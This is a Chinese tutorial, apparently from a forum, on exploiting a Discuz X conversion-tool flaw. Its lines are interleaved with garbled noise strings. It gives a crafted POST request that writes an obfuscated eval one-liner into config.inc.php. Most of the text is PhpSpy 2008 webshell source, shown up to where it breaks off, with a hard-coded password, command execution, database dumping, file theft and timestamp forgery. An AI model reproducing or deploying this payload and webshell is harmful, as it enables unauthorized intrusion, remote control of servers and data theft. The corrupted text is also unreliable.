|
攻击思路:7 z: @# {: m+ L6 i j( X% {( k7 F
想要拿下一台主机A的权限:
8 s l! P9 N( I; U3 t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞! L$ l( [, K5 }7 P5 a
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
2 O; e' H! R) P3、传上去后,得到apache用户普通权限,再提权成root
. I) g& k4 B, |$ j) B- }) [概述:# L2 x; j B) S4 U3 f- f) t$ }
这突破在一个DZ X系列自带的转换工具里面。( L" |* v- B3 J# R+ ]) n
漏洞路径:utility / convert / data / config.inc.php2 A, U, U4 z+ L" o/ Z* W6 W
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
$ P* }9 L5 H' m1 \3 m2 c) P触发突破过程:. o; `1 c4 w }# l& I
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php ( V% ^4 e+ |$ a6 p" o
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
; ]8 k; N9 Q. ]. p* x" F9 F# j$ M% W攻击过程:" G/ p: y, Z5 E
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
* @( ^5 z1 ]- `: f2 I 6 c* \: E! W& K* c: M! ~
J; w0 ?- o( q" p
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
3 d7 X; M* |, P% B! t / I# Y5 V& e2 R$ ^( g0 d
8、通过中国蚁剑上传大码
D$ _4 A) ~, [) d* X# d % d( Y+ V0 l$ s" E! ]9 E. D' _

2 o( J# T. B! L# f- N10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
! i5 F, ^ _# P% v' { - " f. ?8 r# ]) d8 a" d4 u5 B. f' h
- /*****************************************************************************/ l$ U3 L$ G U4 }& u& G4 }
- 1 Z$ C" y, s2 D {+ k
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
3 E4 B5 w+ c: s2 [2 U- B -
7 ^. y3 E( l; A" ?& E/ f( S - ====! D' c& B8 K5 H7 d( h" B- n7 m' D
-
9 b. {- d# B9 h9 _5 b& ` - + Q, [5 Y1 u5 h" s* X+ D' X, f
- *****************************************************************************/
: R5 l1 K8 T) H" y; T8 G Y -
" u; J8 t, o7 r: s - error_reporting(7);
- ? Y: B7 r6 J( Y) J# h% I2 L' F - @set_magic_quotes_runtime(0);
1 g) k' d i* L - ob_start();
7 E2 i4 I6 h) d; F8 n7 I, z% D. l) | - $mtime = explode(' ', microtime());/ a0 h/ W! }$ @. z
- $starttime = $mtime[1] + $mtime[0];4 D+ F c9 `* e8 c' Y2 ]
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
% q& S" C4 C8 u* B: T! F - //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );- O7 a" r9 V; j: m
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');! }4 }8 o( @' w) Y+ a) p
- define('IS_COM', class_exists('COM') ? 1 : 0 );
! c1 K9 _- c; _6 E% y. M - define('IS_GPC', get_magic_quotes_gpc());) Y+ ?* b( c' r P
- $dis_func = get_cfg_var('disable_functions');/ S* u1 q" U0 |& u) K* ~( L
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
1 `; b2 h5 z! s: l$ q - @set_time_limit(0);
1 e- J% ~% g5 F: L6 N - 1 {# j. C( d% g% O. L) G
- foreach(array('_GET','_POST') as $_request) {
# A& f' v- R& |. X" ]+ b - foreach($$_request as $_key => $_value) {
! ] p' J" V! D7 T. a6 Z: a - if ($_key{0} != '_') {
( |% b2 B% Y6 @/ k - if (IS_GPC) {* D( W+ ^" j3 o- j$ M, E( h5 q
- $_value = s_array($_value);
( g$ [, Z4 v/ F0 i- D7 t4 t( J. K7 D - }7 W+ i/ A/ x) ?4 G k3 l
- $$_key = $_value;& v9 h( m; ^9 x! H" `
- }
9 w4 S' U0 ~( |, j8 H! X7 n* s - }" u& a* f" `5 u' b6 e3 P) }# q
- }
. o2 J" y. R4 ?# O; _2 m -
2 Y# Z. c5 |5 B1 z: ? A1 z - /*===================== 程序配置 =====================*/; U: B% f, ~- b5 A
- $admin = array();: X( B' c J I& e* o, h
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
6 d3 G4 @( L9 r% b" ] - $admin['check'] = true;* l' ]+ H4 Q& }7 }% Q
- // 如果需要密码验证,请修改登陆密码
2 b/ R; z* W% y9 T a$ _ G - $admin['pass'] = 'xuegod';
* d! G& V# b. L& P5 U8 N8 O -
- \1 A2 \; {, Q' F - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认1 y! V6 n( H+ O% ]
- // cookie 前缀$ ~7 h: ^0 @6 Z, c. z$ V( p; ?
- $admin['cookiepre'] = '';" p9 K c ~7 N
- // cookie 作用域* Y/ T, L4 [- W/ t4 Q6 f0 Z) I
- $admin['cookiedomain'] = '';
2 H+ ~ v6 v& P& ]- ^5 S - // cookie 作用路径
/ L9 }+ H( u$ H* j5 U - $admin['cookiepath'] = '/';
+ g$ E# n S8 o r8 v9 N" t - // cookie 有效期
M+ s- y. c; w& @( H* M' K - $admin['cookielife'] = 86400;
$ o6 u8 [, w. P) S - /*===================== 配置结束 =====================*/4 R4 }/ i' n# `$ a, J5 C ?5 S. V' V
-
0 E3 U5 j Z1 f: ]0 ]- G - if ($charset == 'utf8') {
+ j1 S1 P: @" b, x - header("content-Type: text/html; charset=utf-8");! K0 c* U6 H$ F- @9 u
- } elseif ($charset == 'big5') {
% `+ |7 |5 y' [3 L$ U2 E - header("content-Type: text/html; charset=big5");, N' G! U( m3 U. `$ e
- } elseif ($charset == 'gbk') {3 A" A$ H% d6 O* k3 a
- header("content-Type: text/html; charset=gbk");
1 e6 V; i/ E. \5 J1 j X; D0 o - } elseif ($charset == 'latin1') {
( ^+ F2 n/ b& H3 E5 | - header("content-Type: text/html; charset=iso-8859-2");
v5 a/ g4 N. j" m1 P' G5 a - }3 _) H# t- s! \; E# l1 F, r0 ^
- 8 \- g+ Z9 @* n; C6 e) a
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];* @" y8 s9 {9 ]- J, d2 p+ I+ U' `
- $timestamp = time();
' p) \5 i4 M2 J - 9 O0 [' O% J ~, Z$ Z E x0 `
- /*===================== 身份验证 =====================*/
9 P8 ` B! J+ B# |+ ]0 j - if ($action == "logout") {% Z, W/ B1 K3 e0 j! R2 L
- scookie('phpspypass', '', -86400 * 365);
2 @# H6 I" }/ X+ F, o; o1 r' I - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
9 W- N W2 ?' Z' M1 d' Z - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
( O) A9 t' }6 i - exit;
) [% |. f( v- o9 k5 v l/ ?' M - }: m& a z4 U% s; \( q, ^- ~9 O
- if($admin['check']) {, G0 X5 _' q% @$ X! x* Q: @! B
- if ($doing == 'login') {
- W$ g4 j) |2 X0 ^5 q - if ($admin['pass'] == $password) {. h' P3 F- f6 k9 q/ o0 J; u5 F
- scookie('phpspypass', $password);/ S, ~' J% `( ?! ?/ y" k; |
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');* U8 x/ t J6 J
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');8 x( T& q8 R, \* ^% z E
- exit;
3 I9 {8 y5 N( _& A; Y0 { - }
3 }) m4 G+ o0 D1 Q5 \& f - }
& Q/ W! t5 U ]9 [$ ~/ {4 ^1 d - if ($_COOKIE['phpspypass']) {0 u4 b: B( q" v- Y
- if ($_COOKIE['phpspypass'] != $admin['pass']) { H! ] i0 E# S" U
- loginpage();4 h4 g0 T* I6 i1 V; E0 f7 X
- }( D6 u8 ~) l/ y1 w; r
- } else {
3 L1 j. z7 E& h- |9 Z" t - loginpage();
+ I' ?- x f( |; d- i& ]+ G; X - }* A8 P# U: Q6 R, G9 Z
- }& Z1 M: v+ G# ~4 P8 I
- /*===================== 验证结束 =====================*/
! U! y1 \& m9 w0 s - $ A# {' a. W5 I. ]+ i% _. p9 w
- $errmsg = '';& g. P, c* h6 Q! v9 R4 l& ^! E
-
; K1 k) P6 J; O5 D. G! W - // 查看PHPINFO
3 Q3 X" U P$ D- o7 H! [- O# h6 K; M - if ($action == 'phpinfo') {2 A8 _( B" X2 `2 s
- if (IS_PHPINFO) {+ C5 K' N5 W ~/ z* O9 W' \
- phpinfo();- C: C) e' q' M$ ]! P
- } else {- g3 L& c& j5 @- d- |+ v
- $errmsg = 'phpinfo() function has non-permissible';
5 E3 \' D* c) e, f - }
% G, h+ p% I' A. v. \ - }% Q1 o( Q6 O* [0 J' m+ j% a0 m+ d
-
5 L+ `1 }4 Y# `9 g" r6 `! F - // 下载文件3 |3 |5 V, L0 s7 c! L
- if ($doing == 'downfile' && $thefile) {7 N" Z) c& K. s) t3 t0 J! }
- if (!@file_exists($thefile)) {' n5 n% b' H; Q* b
- $errmsg = 'The file you want Downloadable was nonexistent';
E2 r8 H0 b V8 b x! I, V - } else {
g3 U* M k" Z, w - $fileinfo = pathinfo($thefile);
% k4 a3 U' r, B& B3 [5 f, t - header('Content-type: application/x-'.$fileinfo['extension']);
. \- }3 }% \5 E - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
* _6 I! D( z/ t - header('Content-Length: '.filesize($thefile));5 {& d7 k6 R+ H( f5 p7 ^
- @readfile($thefile);
# p$ d2 t( w `+ m F+ P# f2 S& u - exit;/ R' |9 X4 o: p4 Z) l" z+ s. W
- }
+ S& g0 J* g, t: X8 W' y - }
9 o# O2 C0 u/ [ -
' P$ X. b C' L, M - // 直接下载备份数据库1 A, ?4 Y( |2 X( r% C5 G( B
- if ($doing == 'backupmysql' && !$saveasfile) {
& O$ e$ u4 l4 ?# p - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);4 Z. e; d& x' w( o9 Q3 J7 n- E
- $table = array_flip($table);( L6 \4 H+ x: m7 F1 q6 W; D
- $result = q("SHOW tables");) ?# c1 Q! f: D6 v
- if (!$result) p('<h2>'.mysql_error().'</h2>');9 a, C- x0 h9 m. C6 ^
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
& b/ F5 Q7 V! @, q( { - header('Content-type: application/unknown');
, m8 m7 x9 G% G) V - header('Content-Disposition: attachment; filename='.$filename);' O: G: [# P" b% L) S# e& h
- $mysqldata = '';3 a: F0 t- y- H6 W. `7 f" W
- while ($currow = mysql_fetch_array($result)) {: @6 t( @& V1 |7 w4 K
- if (isset($table[$currow[0]])) {6 `* V5 u1 {6 l- _5 q! M
- $mysqldata .= sqldumptable($currow[0]); x- ^1 o3 e6 m0 t; s- Z
- }3 I }6 e) X, K, ]
- }
5 [; L2 K% U7 t - mysql_close();
% Z' C( J- B9 B: } - exit;
) g) {2 f1 M8 J: z$ [# C5 h4 m - }6 o$ R4 }/ s+ g7 j
- / ]: X) M: v- @) ]( N
- // 通过MYSQL下载文件
7 N! e! ~. B6 J/ J; B" S - if($doing=='mysqldown'){
: z' e5 U& y$ j3 \( R Q7 V0 F - if (!$dbname) {! D+ `( j, Y" h. x0 u3 k4 Z
- $errmsg = 'Please input dbname';
# H! i4 i; ~4 s' L- t. D7 p - } else {
/ Q. i& i% e; j V# N- b+ e - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
* t5 i" W3 z; f1 [( a* ?5 n6 v4 k- E - if (!file_exists($mysqldlfile)) {
" Q# ~& O+ S/ H - $errmsg = 'The file you want Downloadable was nonexistent';5 Q9 h, J+ z8 ]2 Q( p/ D
- } else {
" n+ D7 d4 x4 T- R" F, E1 X0 ~ - $result = q("select load_file('$mysqldlfile');");
- K7 U; e. ?/ E6 T6 j0 S - if(!$result){9 G. f5 b# j# p8 l, d
- q("DROP TABLE IF EXISTS tmp_angel;");6 o3 k) t7 ^% q: }' o
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");& q) P N; x% _1 h1 P0 U! W
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况9 T! X% \4 l1 j
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");5 x3 O# x3 ^$ }" R+ X
- $result = q("select content from tmp_angel");% l% a( a3 U! P, F# S" D
- q("DROP TABLE tmp_angel");
% B) `, X1 E( x" E& r8 a% r - }
5 D) g9 H! _+ o# o; m( r( T+ } - $row = @mysql_fetch_array($result);
7 ` B+ \4 `( U# G - if (!$row) {
% Z# a! @( g# Q% r( Y - $errmsg = 'Load file failed '.mysql_error();4 r+ g) p0 b. j
- } else {. X7 T% T+ Q0 C$ n7 D# ?
- $fileinfo = pathinfo($mysqldlfile);
* t6 B$ A* A6 ~- {/ i6 o) L" ~ - header('Content-type: application/x-'.$fileinfo['extension']);
, h' G, z1 J* r! Y - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
% {, L v5 R; ` - header("Accept-Length: ".strlen($row[0]));
( w2 O% s& \* Q8 `9 Q2 j/ { - echo $row[0];/ \3 o( C( R& [- V
- exit;7 a. S; h: e- K, }
- }
. n# {5 S* _8 |1 d. B - }& A) H+ K$ A( c8 E
- }" t0 H/ }- u6 Q- m) U! q1 y1 i* i
- }
9 K! f/ s" q* i - 8 Z9 Z7 T4 W" c8 I! |
- ?>$ U" J/ R6 G9 L. [
- <html>" p) V# A: ~6 R' E! h5 h
- <head>4 `9 L3 |, S7 x5 g" D) j: Z
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">6 i) {' t' E" w& w2 t5 w L1 x
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>( n0 Q; M$ Q- \3 v* o. F/ N% T
- <style type="text/css">9 y5 F9 L5 g6 ^/ w; G
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}
' b, O7 o. v+ Z) X4 E G - .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
- b J6 H4 p% Y, k - .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
* e- A1 N7 Y' @4 j |1 R( _5 D - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}' c6 b" b8 O0 o1 F" z
- a {color: #00f;text-decoration:underline;}5 m$ ]4 C# `7 t0 r5 w2 H. V
- a:hover{color: #f00;text-decoration:none;}4 T/ q. D; N% V$ q. r- d
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}! w: f/ r2 M2 a
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}9 } j n6 |* A/ Y+ q
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
6 s$ }1 n* w& d! m) o9 d! c - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
+ K8 ~- D0 A { - .head td span{font-weight:normal;}) Z8 p h f' o7 G. `2 b: L5 u3 _
- form{margin:0;padding:0;}5 D3 _* r! G' t" D
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}6 z3 o1 j p4 D
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
2 @7 {0 B% q4 ]( f+ G# h - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}: |+ t/ f7 q1 Z) B' t! o! b
- </style>. e" Z# n$ p0 ^. f9 u! v6 ?+ `
- <script type="text/javascript">7 x; W, `; k8 ~8 P4 j8 D" r
- function CheckAll(form) {2 L8 t+ z1 f# D
- for(var i=0;i<form.elements.length;i++) {
$ b5 r8 M9 ?4 _1 S* f9 M' E - var e = form.elements[i];
/ l1 s' d+ I* l8 W8 o. I7 ~6 p - if (e.name != 'chkall')# L9 T& Y' Z, i9 R- U' b
- e.checked = form.chkall.checked;
* M m6 i% ]) h3 ] - }4 ^. p# R/ S+ ?. H0 b
- }& @1 ?) b: F9 r; x. n& K( D
- function $(id) {
2 h7 D! ^0 b3 {6 C - return document.getElementById(id);% P6 O! A$ j: G, j4 i- Z
- }; E m1 ]$ U8 T6 D; E
- function goaction(act){
, r# Y0 G- q% n8 }4 @ - $('goaction').action.value=act;3 ^! `' ]3 `/ V; `$ S
- $('goaction').submit();
; q2 B/ u& ~ h7 f8 M - }/ k7 g! N! I; ]$ s0 M* n
- </script># v/ i3 E5 G9 z( R
- </head>
: i' m; _' J0 g: N% q4 h - <body style="margin:0;table-layout:fixed; word-break:break-all">
5 w5 k5 o& p2 ~) J" c - <table width="100%" border="0" cellpadding="0" cellspacing="0">
3 p4 J6 D0 K- u! E- o - <tr class="head">3 [& Z5 r% ]5 w# r. w3 z
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
" z' _/ L2 f& R& P4 e1 f* s - </tr>* G" m2 } n) t
- <tr class="alt1"> F6 \' ^! ~; ?: ]
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>, Y) i7 A$ m6 b4 B% ]
- <a href="javascript:goaction('logout');">Logout</a> |
& A0 q& Q* g6 y' s5 E* |/ X - <a href="javascript:goaction('file');">File Manager</a> | ; K) g/ M# Y" ~) S8 p
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
9 q4 K- |) F4 k& Z7 B l - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | ( ?: R2 A% Q+ y+ m: M2 v# ]6 l" Q7 T
- <a href="javascript:goaction('shell');">Execute Command</a> | * i8 j: J+ R. S$ d' ]% x% ^
- <a href="javascript:goaction('phpenv');">PHP Variable</a> | - o$ e% k) |6 O$ M% Y7 X
- <a href="javascript:goaction('eval');">Eval PHP Code</a>7 s Z' W# s) R4 V
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
) v7 M* w- R" S& L& ^ - </td>
, P: Z- d/ f1 K5 K5 `; ~ - </tr>* f' r# H$ P, z
- </table>/ |' g& e1 h+ D- A
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>4 p% b9 q( O3 |) o& s% S
- <?php: ] T" l, K4 f' T
- % f6 C1 p; g; ~5 {) }, U% F
- formhead(array('name'=>'goaction'));* F' u. L, Y2 k8 Y3 v. R
- makehide('action');
% d% Z7 |& k& a- u - formfoot();9 O* g) G' b7 G7 g/ E$ W6 E5 i- [
-
: s; b. {: X. j2 y - $errmsg && m($errmsg);3 j# P" E/ r5 D4 d2 t# y" h3 u8 R
- & B( v9 [" B- `* n2 Z
- // 获取当前路径$ B5 b( |# d t6 u, m5 }
- !$dir && $dir = '.';( z, M. l) Q3 z' ^
- $nowpath = getPath(SA_ROOT, $dir);
" p" w1 g# n! h( w# B9 G - if (substr($dir, -1) != '/') {/ p1 o2 c) h l3 ~
- $dir = $dir.'/';
9 R2 X% r" i8 d' x - }7 q; B/ Z- @7 q9 D
- $uedir = ue($dir);9 \3 J: \' }% s( D
- 2 h* ^) E' E* |5 c' k
- if (!$action || $action == 'file') {) H6 q% P- O: D& n5 y* b. J0 ~. B# P
- # X$ ~# a! z; e3 z7 Y: ?
- // 判断读写情况 \3 u$ e6 J9 V3 S! C. q# D
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
9 T% g, e2 k9 m% c6 p- [, } -
+ v/ B" G" t. x3 j4 l - // 删除目录
- ? w3 a5 c2 r& I7 G - if ($doing == 'deldir' && $thefile) {
1 x1 |) D: ?4 H - if (!file_exists($thefile)) {
3 \, l, ~, F ^6 S1 q% B - m($thefile.' directory does not exist');1 |: {5 c1 L m l6 @4 `
- } else {! i, k, O0 [3 N2 j2 {5 k G
- m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
" F# K9 W5 F: g0 n. E - }
5 j) I* X _8 m) L - } [! _$ L) r. m- d" X( P' q
-
- W3 O$ D0 ~3 s- `0 V. ^8 l* e - // 创建目录
- ]: C( J) S0 m$ @$ Y) E0 V - elseif ($newdirname) {2 @7 }+ K3 _+ F, E' s0 Z
- $mkdirs = $nowpath.$newdirname;
I: b0 D* a/ m8 x - if (file_exists($mkdirs)) {2 S' ?# {- P4 t I1 [0 u
- m('Directory has already existed');* T2 s- F, {& K8 j8 L8 T
- } else {" L I* v% ]' B4 |" Q- G" D6 H
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
# d$ q4 K2 T0 N! r( y% g1 K - @chmod($mkdirs,0777);
@$ Y; t) D5 n8 A. E# j: \4 R - }
, c9 p X6 \- n* C: O G - }
: n7 b! l- i9 X& F# \! k; y3 \ - & z% Y: p- i- P
- // 上传文件 w; G9 o* C' Z
- elseif ($doupfile) {3 y+ @) o& g0 z6 i
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));) c- b& R0 s, n2 c$ l0 W. K
- }
* `& Y2 F% |) l7 n% K5 s -
" G6 H9 k' Z, [/ }) ~/ }& j- L - // 编辑文件$ s( `) d- M& j! `, U
- elseif ($editfilename && $filecontent) {
: ]) u$ H5 y4 `8 J - $fp = @fopen($editfilename,'w');
1 ^! p9 s! {/ r - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
2 _' W/ \( j7 M, y& z - @fclose($fp);, U1 J6 Z6 V/ L# ?) H
- }
5 ~- C( E# r2 Z9 k -
$ Y6 v2 p' p+ U' C4 O" a! h - // 编辑文件属性5 Q- ]3 U: P0 y" Q+ e/ P; I
- elseif ($pfile && $newperm) {4 m+ O v7 C0 n( k3 \- z
- if (!file_exists($pfile)) {7 F* O. z+ ?" g& M3 ]
- m('The original file does not exist');" x, x4 V' l8 g+ M: p% {
- } else {" q/ o& t) C$ e# \) x
- $newperm = base_convert($newperm,8,10);: N2 s& d Y7 ^# F" _/ L# b
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));! g9 o4 ^+ {: q! E7 |/ t
- }
; J0 J. a+ V9 I - }
3 a# E1 b& X4 i; ^ - # h, B3 b; [' C7 O+ X0 v
- // 改名
/ J# `6 @% [% E! \ - elseif ($oldname && $newfilename) {" D) m& u9 `# o# E! k
- $nname = $nowpath.$newfilename;
' A. e. e$ W5 }5 G- O7 [) q - if (file_exists($nname) || !file_exists($oldname)) {
' g0 Q2 Q0 n6 k9 T, H - m($nname.' has already existed or original file does not exist');
C; L, |/ z$ P+ a z# O3 m2 x - } else {
6 {/ P2 ^% V2 p" J4 G - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
% _7 @, N1 X- t - }/ w; J x6 x) ?
- }
9 s# Y. x: o2 i -
( H* {8 d4 o L7 A - // 复制文件6 M; k# G! @% {. _
- elseif ($sname && $tofile) {: S% P3 T! n6 y2 W
- if (file_exists($tofile) || !file_exists($sname)) {* \8 o8 _+ \7 e+ G, M
- m('The goal file has already existed or original file does not exist');
1 q1 ?3 K! U$ H, B2 R - } else {) s j6 D* O; c4 t
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
, J0 I: `9 p& ]7 H$ L, J0 p% k - }
( [% }, L: K! L5 s7 N* G2 L( j! C - }
. D& h+ i5 F: K J* \" T4 ~ -
6 Q) C; `% u: X7 b# x B - // 克隆时间
* @, S# g/ p$ b+ |# i - elseif ($curfile && $tarfile) {
. f9 e4 D8 f- M2 t# t! ]! m - if (!@file_exists($curfile) || !@file_exists($tarfile)) {
6 p! j) W1 L2 \& k) {- e# ?6 E9 O4 t - m('The goal file has already existed or original file does not exist');6 M9 R9 x4 i) P* V
- } else {
; ]/ K: G. L+ I9 s7 g - $time = @filemtime($tarfile);
7 ?, X7 g5 g$ J) t - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 r# P8 }3 U# ?9 Q
- }9 S( Q v" I8 I9 M) v2 ?' P
- }
/ q0 T; J/ j, R6 `( h -
. O4 p8 G+ b( l7 t2 Y9 {! u - // 自定义时间8 i4 ?9 q* Q6 z5 r) a0 N
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {, E# ?& b w6 `" ^" W" O0 N
- if (!@file_exists($curfile)) {# N3 s9 u7 W. B5 K# q+ j. z4 D
- m(basename($curfile).' does not exist');
! |, @( O/ r2 i - } else {( G$ z! j3 f, ?' L# z
- $time = strtotime("$year-$month-$day $hour:$minute:$second");4 ?3 C4 p/ |6 `- a! e
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));* ~, O& M3 H# \+ S
- }
# l8 B( F2 x. h# U/ } - }
0 j6 d& W& g( S( R% B( u- D' L- z! f - " }- B7 m8 v2 u% f# U2 }$ ]
- // 打包下载% h+ i0 ^+ J# T! T3 a: w2 T
- elseif($doing == 'downrar') {
$ d( ]4 z- u1 M+ c- K" A; u0 z - if ($dl) {9 j. ^- ^$ m/ s0 ~
- $dfiles='';
S0 D& f) k0 h' | - foreach ($dl as $filepath => $value) {, n. Z0 F5 F" c1 f/ J3 j
- $dfiles.=$filepath.',';
x0 ]/ K& B+ j6 Y# M& o, i) ^ - }
; `9 n v1 s7 v5 l5 o - $dfiles=substr($dfiles,0,strlen($dfiles)-1);
, i& h! r2 Z- C. g- p& V2 O W6 p - $dl=explode(',',$dfiles);
3 f0 k# [; M- Z! D - $zip=new PHPZip($dl);/ r( @/ I" A; u' M7 c/ \! b$ A3 l
- $code=$zip->out;
( {2 v3 |9 w& Y - header('Content-type: application/octet-stream');3 @: ?) \" T ?+ q& b
- header('Accept-Ranges: bytes');/ `5 S" m |. d
- header('Accept-Length: '.strlen($code));
0 T, r4 D) _ g - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');. c2 h( k) G" z% s
- echo $code;) d: o8 p: o# }& g8 J% k# U3 U; C" a, L
- exit;; Y$ w3 r' D! M
- } else { Z; O8 f9 q# `- y3 U
- m('Please select file(s)');2 ^+ q/ Z; z& c6 l, h. F
- }5 V, x. Y/ N) U y3 F, h) F
- }
( @* Z- E/ D' l. g -
3 j" V3 T5 s0 d j! u" l' k; X - // 批量删除文件
" c Q% t9 i y1 N; Z0 V - elseif($doing == 'delfiles') {/ ]4 I; C. B) Z2 }/ Y+ B5 G
- if ($dl) {$ Z7 @. r9 U$ u* g
- $dfiles='';$ {' G9 M4 h% p1 P/ l0 m4 \% }
- $succ = $fail = 0;
5 c3 F4 g) q$ R& D: g4 Y" B - foreach ($dl as $filepath => $value) {
% n3 n" z9 i9 L& E% a. o - if (@unlink($filepath)) {0 ]" E- ?0 x2 \2 |3 p$ j" a* I8 X
- $succ++;
7 `( g/ c7 {; B7 ]; @: C: X! v) U - } else {
" |9 H4 R/ K+ o9 L% ~& n - $fail++;; g# a8 n) O( W& b6 t7 n. d. P2 u
- }0 n# T4 M* d6 n) K3 r1 k3 r' {0 m% C
- }, X+ d3 L8 H8 e+ N5 [& Q7 L" e
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);, z+ R: ]3 d8 y# N( K8 `* o+ M
- } else {1 F) s v0 f' h% |/ }2 f" D2 Z4 T: Q4 s
- m('Please select file(s)');
1 {& d1 U" \. ~5 h% d; C - }
/ I, {* A- H ~ - }* s9 H; b, A$ n# o6 _0 s3 ~
- ! G$ x0 B. _* m: I
- //操作完毕
1 |( A, K- g5 \ - formhead(array('name'=>'createdir'));
- ~0 t) Y3 d: F4 Q" j- V. j - makehide('newdirname');
: Q4 `3 Z( ]. R& c9 z6 b - makehide('dir',$nowpath);7 n0 O* j" J; d
- formfoot();( q. C8 u3 K Z W" F
- formhead(array('name'=>'fileperm'));
